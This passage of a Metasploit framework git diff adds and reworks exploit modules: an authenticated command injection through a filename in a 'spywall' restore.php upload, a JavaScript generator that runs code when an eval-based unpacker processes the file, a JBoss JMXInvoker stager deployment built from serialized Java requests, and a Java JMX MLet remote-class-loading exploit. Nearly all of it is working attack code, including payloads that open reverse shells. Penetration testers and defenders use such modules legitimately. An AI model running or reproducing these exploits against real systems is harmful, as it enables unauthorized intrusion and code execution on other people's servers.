'USERNAME' => datastore['USERNAME'], + 'PASSWORD' => datastore['PASSWORD'], + 'loginBtn' => 'Login' + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while attempting to login') + end + + cookies = res.get_cookies + sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' + + if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank? + # Successful login + return sid + else + # Failed login + fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + end + end + + def build_payload + # At of today (Feb 27 2015), there are only three payloads this module will support: + # * cmd/unix/generic + # * cmd/unix/reverse_python + # * cmd/unix/reverse_python_ssl + p = payload.encoded + + case datastore['PAYLOAD'] + when /cmd\/unix\/generic/ + # Filter that one out, Mr. basename() + p = Rex::Text.encode_base64("import os ; os.system('#{Rex::Text.encode_base64(p)}'.decode('base64'))") + p = "python -c \"exec('#{p}'.decode('base64'))\"" + else + p = p.gsub(/python -c "exec/, 'python -c \\"exec') + p = p.gsub(/decode\('base64'\)\)"/, "decode('base64'))\\\"") + end + + p + end + + def build_mime + p = build_payload + + data = Rex::MIME::Message.new + data.add_part("#{Time.now.to_i}", nil, nil, 'form-data; name="posttime"') + data.add_part('maintenance', nil, nil, 'form-data; name="configuration"') + data.add_part('', 'application/octet-stream', nil, 'form-data; name="licenseFile"; filename=""') + data.add_part('24', nil, nil, 'form-data; name="raCloseInterval"') + data.add_part('', nil, nil, 'form-data; name="restore"') + data.add_part("#{Rex::Text.rand_text_alpha(4)}\n", 'text/plain', nil, "form-data; name=\"restore_file\"; filename=\"#{Rex::Text.rand_text_alpha(4)}.txt; #{p}\"") + data.add_part('Restore', nil, nil, 'form-data; name="restoreFile"') + data.add_part('0', nil, nil, 'form-data; name="event_horizon"') + data.add_part('0', nil, nil, 'form-data; name="max_events"') + data.add_part(Time.now.strftime("%m/%d/%Y"), nil, nil, 'form-data; name="cleanlogbefore"') + data.add_part('', nil, nil, 'form-data; name="testaddress"') + data.add_part('', nil, nil, 'form-data; name="pingaddress"') + data.add_part('and', nil, nil, 'form-data; name="capture_filter_op"') + data.add_part('', nil, nil, 'form-data; name="capture_filter"') + + data + end + + def inject_exec(sid) + uri = target_uri.path + mime = build_mime # Payload inside + send_request_cgi({ + 'uri' => normalize_uri(uri, 'spywall/restore.php'), + 'method' => 'POST', + 'cookie' => sid, + 'data' => mime.to_s, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'headers' => { + 'Referer' => "#{protocol}://#{peer}#{normalize_uri(uri, 'spywall/mtceConfig.php')}" + } + }) + end + + def save_cred(username, password) + service_data = { + address: rhost, + port: rport, + service_name: protocol, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + username: username, + private_data: password, + private_type: :password + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + + def exploit + print_status("Getting the PHPSESSID...") + sid = get_sid + if sid.blank? + print_error("Failed to get the session ID. Cannot continue with the login.") + return + end + + print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + sid = login(sid) + if sid.blank? + print_error("Failed to get the session ID from the login process. Cannot continue with the injection.") + return + else + # Good password, keep it + save_cred(datastore['USERNAME'], datastore['PASSWORD']) + end + + print_status("Trying restore.php...") + inject_exec(sid) + end + +end diff --git a/modules/exploits/linux/samba/chain_reply.rb b/modules/exploits/linux/samba/chain_reply.rb index 71e465507de8..ae73ad1779f3 100644 --- a/modules/exploits/linux/samba/chain_reply.rb +++ b/modules/exploits/linux/samba/chain_reply.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index 1570d36da64c..ed72293621b3 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index 9bfc40dfab9a..b5bbdc6329ed 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::RopDb include Msf::Exploit::Brute diff --git a/modules/exploits/linux/samba/trans2open.rb b/modules/exploits/linux/samba/trans2open.rb index 38588f92b4fd..63f0fdc1a8a1 100644 --- a/modules/exploits/linux/samba/trans2open.rb +++ b/modules/exploits/linux/samba/trans2open.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Brute def initialize(info = {}) diff --git a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb new file mode 100644 index 000000000000..1e15976eb451 --- /dev/null +++ b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb @@ -0,0 +1,47 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/jsobfu' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::JSObfu + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Javascript Injection for Eval-based Unpackers', + 'Description' => %q{ + This module generates a Javascript file that executes arbitrary code + when an eval-based unpacker is run on it. Works against js-beautify's + P_A_C_K_E_R unpacker. + }, + 'Author' => [ 'joev' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Platform' => 'nodejs', + 'Arch' => ARCH_NODEJS, + 'Privileged' => false, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'Feb 18 2015', + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('FILENAME', [true, 'The file name.', 'msf.js']), + OptString.new('CUSTOM_JS', [false, 'Custom Javascript payload.']) + ], self.class) + end + + def exploit + p = js_obfuscate(datastore['CUSTOM_JS'] || payload.encoded); + print_status("Creating '#{datastore['FILENAME']}' file...") + file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))") + end + +end diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 41865e2c6e63..c56b3aba1fdb 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -88,9 +88,9 @@ def initialize(info = {}) end def check - res = send_serialized_request('version.bin') + res = send_serialized_request('version') if res.nil? - vprint_error("Connection timed out") + vprint_error('Connection timed out') return Exploit::CheckCode::Unknown elsif res.code != 200 vprint_error("Unable to request version, returned http code is: #{res.code.to_s}") @@ -103,7 +103,7 @@ def check return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ if res.body =~ /ServletException/ # Simple check, if we caused an exception. - vprint_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit") + vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit') return Exploit::CheckCode::Appears end @@ -113,31 +113,29 @@ def check def exploit mytarget = target - if (target.name =~ /Automatic/) + if target.name =~ /Automatic/ mytarget = auto_target - fail_with("Unable to automatically select a target") if not mytarget + fail_with('Unable to automatically select a target') unless mytarget print_status("Automatically selected target: \"#{mytarget.name}\"") else print_status("Using manually select target: \"#{mytarget.name}\"") end - # We use a already serialized stager to deploy the final payload regex_stager_app_base = rand_text_alpha(14) regex_stager_jsp_name = rand_text_alpha(14) name_parameter = rand_text_alpha(8) content_parameter = rand_text_alpha(8) stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp" - stager_code = "A" * 810 # 810 is the size of the stager in the serialized request replace_values = { 'regex_app_base' => regex_stager_app_base, 'regex_jsp_name' => regex_stager_jsp_name, - stager_code => generate_stager(name_parameter, content_parameter) + 'jsp_code' => generate_stager(name_parameter, content_parameter) } - print_status("Deploying stager") - send_serialized_request('installstager.bin', replace_values) + print_status('Deploying stager') + send_serialized_request('installstager', replace_values) print_status("Calling stager: #{stager_uri}") call_uri_mtimes(stager_uri, 5, 'GET') @@ -162,23 +160,21 @@ def exploit name_parameter => app_base, content_parameter => b64_war } - }, 20) + }) payload_uri = "/#{app_base}/#{jsp_name}.jsp" print_status("Calling payload: " + payload_uri) res = call_uri_mtimes(payload_uri,5, 'GET') # Remove the payload through stager - print_status("Removing payload through stager") + print_status('Removing payload through stager') delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}" - res = send_request_cgi( - {'uri' => delete_payload_uri, - }) + res = send_request_cgi({'uri' => delete_payload_uri}) # Remove the stager - print_status("Removing stager") - send_serialized_request('removestagerfile.bin', replace_values) - send_serialized_request('removestagerdirectory.bin', replace_values) + print_status('Removing stager') + send_serialized_request('removestagerfile', replace_values) + send_serialized_request('removestagerdirectory', replace_values) handler end @@ -226,18 +222,39 @@ def generate_stager(name_param, content_param) %> EOT - # The script must be exactly 810 characters long, otherwise we might have serialization issues - # Therefore we fill the rest wit spaces - spaces = " " * (810 - stager_script.length) - stager_script << spaces end - def send_serialized_request(file_name , replace_params = {}) - path = File.join( Msf::Config.data_directory, "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name) - data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) } - - replace_params.each { |key, value| data.gsub!(key, value) } + def send_serialized_request(operation , replace_params = {}) + data = '' + case operation + when 'version' + data = build_get_version.encode + when 'osname' + data = build_get_os.encode + when 'osarch' + data = build_get_arch.encode + when 'installstager' + data = build_install_stager( + war_name: replace_params['regex_app_base'], + jsp_name: replace_params['regex_jsp_name'], + data: replace_params['jsp_code'] + ).encode + when 'removestagerfile' + data = build_delete_stager_file( + dir: "#{replace_params['regex_app_base']}.war", + file: replace_params['regex_jsp_name'], + extension: '.jsp' + ).encode + when 'removestagerdirectory' + data = build_delete_stager_file( + dir: './', + file: replace_params['regex_app_base'], + extension: '.war' + ).encode + else + fail_with(Failure::Unknown, "#{peer} - Unexpected operation") + end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), @@ -251,20 +268,19 @@ def send_serialized_request(file_name , replace_params = {}) }, 25) - if (not res) or (res.code != 200) - print_error("Failed: Error requesting preserialized request #{file_name}") + unless res && res.code == 200 + print_error("Failed: Error requesting preserialized request #{operation}") return nil end res end - def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) # JBoss might need some time for the deployment. Try 5 times at most and # wait 5 seconds inbetween tries num_attempts.times do |attempt| - if (verb == "POST") + if verb == "POST" res = send_request_cgi( { 'uri' => uri, @@ -281,17 +297,17 @@ def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) end msg = nil - if (!res) + if res.nil? msg = "Execution failed on #{uri} [No Response]" - elsif (res.code < 200 or res.code >= 300) + elsif res.code < 200 || res.code >= 300 msg = "http request failed to #{uri} [#{res.code}]" - elsif (res.code == 200) + elsif res.code == 200 print_status("Successfully called '#{uri}'") if datastore['VERBOSE'] return res end - if (attempt < num_attempts - 1) - msg << ", retrying in 5 seconds..." + if attempt < num_attempts - 1 + msg << ', retrying in 5 seconds...' print_status(msg) if datastore['VERBOSE'] select(nil, nil, nil, 5) else @@ -303,12 +319,12 @@ def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil) def auto_target - print_status("Attempting to automatically select a target") + print_status('Attempting to automatically select a target') - plat = detect_platform() - arch = detect_architecture() + plat = detect_platform + arch = detect_architecture - return nil if (not arch or not plat) + return nil unless arch && plat # see if we have a match targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) } @@ -317,37 +333,408 @@ def auto_target return nil end - # Try to autodetect the target platform def detect_platform - print_status("Attempting to automatically detect the platform") - res = send_serialized_request("osname.bin") + print_status('Attempting to automatically detect the platform') + res = send_serialized_request('osname') - if (res.body =~ /(Linux|FreeBSD|Windows)/i) + if res.body =~ /(Linux|FreeBSD|Windows)/i os = $1 - if (os =~ /Linux/i) + if os =~ /Linux/i return 'linux' - elsif (os =~ /FreeBSD/i) + elsif os =~ /FreeBSD/i return 'linux' - elsif (os =~ /Windows/i) + elsif os =~ /Windows/i return 'win' end end nil end - # Try to autodetect the architecture - def detect_architecture() - print_status("Attempting to automatically detect the architecture") - res = send_serialized_request("osarch.bin") - if (res.body =~ /(i386|x86)/i) + def detect_architecture + print_status('Attempting to automatically detect the architecture') + res = send_serialized_request('osarch') + if res.body =~ /(i386|x86)/i arch = $1 - if (arch =~ /i386|x86/i) + if arch =~ /i386|x86/i return ARCH_X86 # TODO, more end end nil end + + def build_get_version + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version') + + build_invocation(stream) + end + + def build_get_os + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName') + + build_invocation(stream) + end + + def build_get_arch + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch') + + build_invocation(stream) + end + + def build_install_stager(opts = {}) + war_name = "#{opts[:war_name]}.war" + jsp_name = opts[:jsp_name] || '' + extension = opts[:extension] || '.jsp' + data = opts[:data] || '' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'store') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, war_name), + Rex::Java::Serialization::Model::Utf.new(nil, jsp_name), + Rex::Java::Serialization::Model::Utf.new(nil, extension), + Rex::Java::Serialization::Model::Utf.new(nil, data), + builder.new_object( + name: 'java.lang.Boolean', + serial: 0xcd207280d59cfaee, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [['boolean', 'value']], + data: [['boolean', 0]] + ) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'boolean') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + + def build_delete_stager_file(opts = {}) + dir = opts[:dir] || '' + file = opts[:file] || '' + extension = opts[:extension] || '.jsp' + + builder = Rex::Java::Serialization::Builder.new + + object_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, 'remove') + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + values_array = builder.new_array( + values_type: 'java.lang.Object;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, dir), + Rex::Java::Serialization::Model::Utf.new(nil, file), + Rex::Java::Serialization::Model::Utf.new(nil, extension) + ], + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + types_array = builder.new_array( + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'), + Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String') + ], + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + stream.contents << object_array + stream.contents << values_array + stream.contents << types_array + + build_invocation_deploy(stream) + end + + def build_invocation(stream_argument) + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02") + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_invocation_deploy(stream_argument) + builder = Rex::Java::Serialization::Builder.new + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [] + + null_stream = build_null_stream + null_stream_enc = null_stream.encode + null_stream_value = [null_stream_enc.length].pack('N') + null_stream_value << null_stream_enc + null_stream_value << "\xfb\x57\xa7\xaa" + + stream_argument_enc = stream_argument.encode + stream_argument_value = [stream_argument_enc.length].pack('N') + stream_argument_value << stream_argument_enc + stream_argument_value << "\x7b\x87\xa0\xfb" + + stream.contents << build_marshalled_invocation + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87") + stream.contents << build_integer(647347722) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01") + stream.contents << build_invocation_key(5) + stream.contents << build_marshalled_value + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03") + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME') + stream.contents << builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, + flags: 3, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository') + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << build_invocation_key(4) + stream.contents << build_invocation_type(1) + stream.contents << build_invocation_key(10) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream + end + + def build_marshalled_invocation + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledInvocation', + serial: 0xf6069527413ea4be, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_marshalled_value + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.MarshalledValue', + serial: 0xeacce0d1f44ad099, + flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ) + end + + def build_invocation_key(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationKey', + serial: 0xb8fb7284d79385f9, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal] + ] + ) + end + + def build_invocation_type(ordinal) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'org.jboss.invocation.InvocationType', + serial: 0x59a73a1ca52b7cbf, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + fields: [ + ['int', 'ordinal'] + ], + data:[ + ['int', ordinal] + ] + ) + end + + def build_integer(value) + builder = Rex::Java::Serialization::Builder.new + builder.new_object( + name: 'java.lang.Integer', + serial: 0x12e2a0a4f7818738, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + super_class: builder.new_class( + name: 'java.lang.Number', + serial: 0x86ac951d0b94e08b, + annotations: [Rex::Java::Serialization::Model::EndBlockData.new] + ), + fields: [ + ['int', 'value'] + ], + data:[ + ['int', value] + ] + ) + end + + def build_null_stream + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents = [Rex::Java::Serialization::Model::NullReference.new] + + stream + end + end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb new file mode 100644 index 000000000000..b7f190b2f80a --- /dev/null +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -0,0 +1,369 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Java::Jmx + include Msf::Exploit::Remote::HttpServer + include Msf::Java::Rmi::Client + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Java JMX Server Insecure Configuration Java Code Execution', + 'Description' => %q{ + This module takes advantage a Java JMX interface insecure configuration, which would + allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication + disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while + interfaces with authentication enabled will be vulnerable only if a weak configuration + is deployed (allowing to use javax.management.loading.MLet, having a security manager + allowing to load a ClassLoader MBean, etc.). + }, + 'Author' => + [ + 'Braden Thomas', # Attack vector discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], + ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Privileged' => false, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'Targets' => + [ + [ 'Generic (Java Payload)', {} ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 22 2013' + )) + + register_options([ + Opt::RPORT(1617) + ], self.class) + + end + + def on_request_uri(cli, request) + if request.uri =~ /mlet$/ + jar = "#{rand_text_alpha(8 + rand(8))}.jar" + + mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" " + mlet << "archive=\"#{jar}\" " + mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" " + mlet << "codebase=\"#{get_uri}\"></mlet></HTML>" + send_response(cli, mlet, + { + 'Content-Type' => 'application/octet-stream', + 'Pragma' => 'no-cache' + }) + + print_status("Replied to request for mlet") + elsif request.uri =~ /\.jar$/i + p = regenerate_payload(cli) + jar = p.encoded_jar + paths = [ + ["metasploit", "JMXPayloadMBean.class"], + ["metasploit", "JMXPayload.class"], + ] + jar.add_files(paths, [ Msf::Config.data_directory, "java" ]) + + send_response(cli, jar.pack, + { + 'Content-Type' => 'application/java-archive', + 'Pragma' => 'no-cache' + }) + + print_status("Replied to request for payload JAR") + end + end + + def check + connect + + unless is_rmi? + return Exploit::CheckCode::Safe + end + + mbean_server = discover_endpoint + disconnect + if mbean_server.nil? + return Exploit::CheckCode::Safe + end + + connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + return Exploit::CheckCode::Unknown + end + + jmx_endpoint = handshake(mbean_server) + disconnect + if jmx_endpoint.nil? + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Appears + end + + def exploit + @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" + connect + + print_status("#{peer} - Sending RMI Header...") + unless is_rmi? + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") + end + + print_status("#{peer} - Discoverig the JMXRMI endpoint...") + mbean_server = discover_endpoint + disconnect + if mbean_server.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint") + else + print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") + end + + connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") + end + + print_status("#{peer} - Proceeding with handshake...") + jmx_endpoint = handshake(mbean_server) + if jmx_endpoint.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server") + else + print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") + end + + print_status("#{peer} - Loading payload...") + unless load_payload(jmx_endpoint) + fail_with(Failure::Unknown, "#{peer} - Failed to load the payload") + end + + print_status("#{peer} - Executing payload...") + invoke_run_stream = invoke_stream( + obj_id: jmx_endpoint[:id].chop, + object: "#{@mlet}:name=jmxpayload,id=1", + method: 'run' + ) + send_call(call_data: invoke_run_stream) + + disconnect + end + + def is_rmi? + send_header + ack = recv_protocol_ack + if ack.nil? + return false + end + + true + end + + def discover_endpoint + send_call(call_data: discovery_stream) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - Discovery request didn't answer") + return nil + end + + answer = 